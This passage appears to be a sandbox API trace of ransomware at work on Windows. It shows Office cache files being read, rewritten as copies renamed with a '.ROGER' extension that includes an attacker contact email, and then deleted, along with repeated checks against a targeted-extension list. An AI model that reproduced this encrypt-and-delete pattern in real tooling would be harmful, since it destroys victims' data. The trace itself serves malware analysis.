lpNewFilePointer=0x0) returned 1 [0042.976] SetEndOfFile (hFile=0x35c) returned 1 [0042.983] CloseHandle (hObject=0x35c) returned 1 [0042.983] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0042.983] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0042.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.983] lstrlenW (lpString=".doc") returned 4 [0042.983] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.984] lstrlenW (lpString=".docx") returned 5 [0042.984] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.984] lstrlenW (lpString=".pdf") returned 4 [0042.984] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.984] lstrlenW (lpString=".xls") returned 4 [0042.984] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.984] lstrlenW (lpString=".xlsx") returned 5 [0042.984] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.984] lstrlenW (lpString=".ppt") returned 4 [0042.984] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString=".zip") returned 4 [0042.984] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.984] lstrlenW (lpString=".rar") returned 4 [0042.984] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.984] lstrlenW (lpString=".bz2") returned 4 [0042.984] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.984] lstrlenW (lpString=".7z") returned 3 [0042.984] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString=".dbf") returned 4 [0042.984] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString=".1cd") returned 4 [0042.984] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString=".jpg") returned 4 [0042.984] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.984] lstrlenW (lpString=".doc") returned 4 [0042.985] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.985] lstrlenW (lpString=".docx") returned 5 [0042.985] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.985] lstrlenW (lpString=".pdf") returned 4 [0042.985] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.985] lstrlenW (lpString=".xls") returned 4 [0042.985] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.985] lstrlenW (lpString=".xlsx") returned 5 [0042.985] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.985] lstrlenW (lpString=".ppt") returned 4 [0042.985] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.985] lstrlenW (lpString=".zip") returned 4 [0042.985] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.985] lstrlenW (lpString=".rar") returned 4 [0042.985] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.985] lstrlenW (lpString=".bz2") returned 4 [0042.985] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.985] lstrlenW (lpString=".7z") returned 3 [0042.985] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.985] lstrlenW (lpString=".dbf") returned 4 [0042.985] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.985] lstrlenW (lpString=".1cd") returned 4 [0042.985] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0042.985] lstrlenW (lpString=".jpg") returned 4 [0042.985] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.986] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0042.986] lstrlenW (lpString="Proof.msi") returned 9 [0042.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.986] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=885760) returned 1 [0042.986] CloseHandle (hObject=0x35c) returned 1 [0042.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0042.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.986] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.986] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0042.987] GetLastError () returned 0x0 [0042.987] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xd8400, lpOverlapped=0x0) returned 1 [0043.119] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0043.690] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.690] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.690] SetEndOfFile (hFile=0x38c) returned 1 [0043.690] CloseHandle (hObject=0x38c) returned 1 [0043.697] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.697] SetEndOfFile (hFile=0x35c) returned 1 [0043.704] CloseHandle (hObject=0x35c) returned 1 [0043.705] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0043.705] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0043.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.705] lstrlenW (lpString=".doc") returned 4 [0043.705] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.705] lstrlenW (lpString=".docx") returned 5 [0043.705] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.705] lstrlenW (lpString=".pdf") returned 4 [0043.705] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.705] lstrlenW (lpString=".xls") returned 4 [0043.705] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.705] lstrlenW (lpString=".xlsx") returned 5 [0043.705] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.705] lstrlenW (lpString=".ppt") returned 4 [0043.705] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString=".zip") returned 4 [0043.706] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.706] lstrlenW (lpString=".rar") returned 4 [0043.706] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.706] lstrlenW (lpString=".bz2") returned 4 [0043.706] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.706] lstrlenW (lpString=".7z") returned 3 [0043.706] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString=".dbf") returned 4 [0043.706] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString=".1cd") returned 4 [0043.706] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString=".jpg") returned 4 [0043.706] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.706] lstrlenW (lpString=".doc") returned 4 [0043.706] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.706] lstrlenW (lpString=".docx") returned 5 [0043.706] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.706] lstrlenW (lpString=".pdf") returned 4 [0043.706] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.706] lstrlenW (lpString=".xls") returned 4 [0043.706] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.706] lstrlenW (lpString=".xlsx") returned 5 [0043.706] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.706] lstrlenW (lpString=".ppt") returned 4 [0043.706] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.707] lstrlenW (lpString=".zip") returned 4 [0043.707] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.707] lstrlenW (lpString=".rar") returned 4 [0043.707] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.707] lstrlenW (lpString=".bz2") returned 4 [0043.707] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.707] lstrlenW (lpString=".7z") returned 3 [0043.707] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.707] lstrlenW (lpString=".dbf") returned 4 [0043.707] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.707] lstrlenW (lpString=".1cd") returned 4 [0043.707] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.707] lstrlenW (lpString=".jpg") returned 4 [0043.707] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.707] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0043.707] lstrlenW (lpString="Office32MUI.msi") returned 15 [0043.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.708] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=873984) returned 1 [0043.708] CloseHandle (hObject=0x35c) returned 1 [0043.708] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0043.708] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.708] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.708] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0043.708] GetLastError () returned 0x0 [0043.708] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xd5600, lpOverlapped=0x0) returned 1 [0043.832] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0044.026] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.026] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0044.026] SetEndOfFile (hFile=0x38c) returned 1 [0044.026] CloseHandle (hObject=0x38c) returned 1 [0044.033] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.033] SetEndOfFile (hFile=0x35c) returned 1 [0044.040] CloseHandle (hObject=0x35c) returned 1 [0044.040] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0044.040] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0044.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.041] lstrlenW (lpString=".doc") returned 4 [0044.041] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.041] lstrlenW (lpString=".docx") returned 5 [0044.041] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.041] lstrlenW (lpString=".pdf") returned 4 [0044.041] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.041] lstrlenW (lpString=".xls") returned 4 [0044.041] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.041] lstrlenW (lpString=".xlsx") returned 5 [0044.041] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.041] lstrlenW (lpString=".ppt") returned 4 [0044.041] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.041] lstrlenW (lpString=".zip") returned 4 [0044.041] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.041] lstrlenW (lpString=".rar") returned 4 [0044.041] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.041] lstrlenW (lpString=".bz2") returned 4 [0044.041] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.041] lstrlenW (lpString=".7z") returned 3 [0044.041] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.041] lstrlenW (lpString=".dbf") returned 4 [0044.041] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.041] lstrlenW (lpString=".1cd") returned 4 [0044.041] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.041] lstrlenW (lpString=".jpg") returned 4 [0044.041] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString=".doc") returned 4 [0044.042] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.042] lstrlenW (lpString=".docx") returned 5 [0044.042] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.042] lstrlenW (lpString=".pdf") returned 4 [0044.042] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.042] lstrlenW (lpString=".xls") returned 4 [0044.042] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.042] lstrlenW (lpString=".xlsx") returned 5 [0044.042] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.042] lstrlenW (lpString=".ppt") returned 4 [0044.042] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString=".zip") returned 4 [0044.042] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.042] lstrlenW (lpString=".rar") returned 4 [0044.042] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.042] lstrlenW (lpString=".bz2") returned 4 [0044.042] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.042] lstrlenW (lpString=".7z") returned 3 [0044.042] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString=".dbf") returned 4 [0044.042] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString=".1cd") returned 4 [0044.042] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.042] lstrlenW (lpString=".jpg") returned 4 [0044.042] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.043] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0044.043] lstrlenW (lpString="InfLR.cab") returned 9 [0044.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0044.043] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=18874884) returned 1 [0044.043] CloseHandle (hObject=0x35c) returned 1 [0044.043] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0044.043] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.043] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0044.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0044.044] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0044.044] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.044] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.449] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.449] ReadFile (in: hFile=0x35c, lpBuffer=0x50f0058, 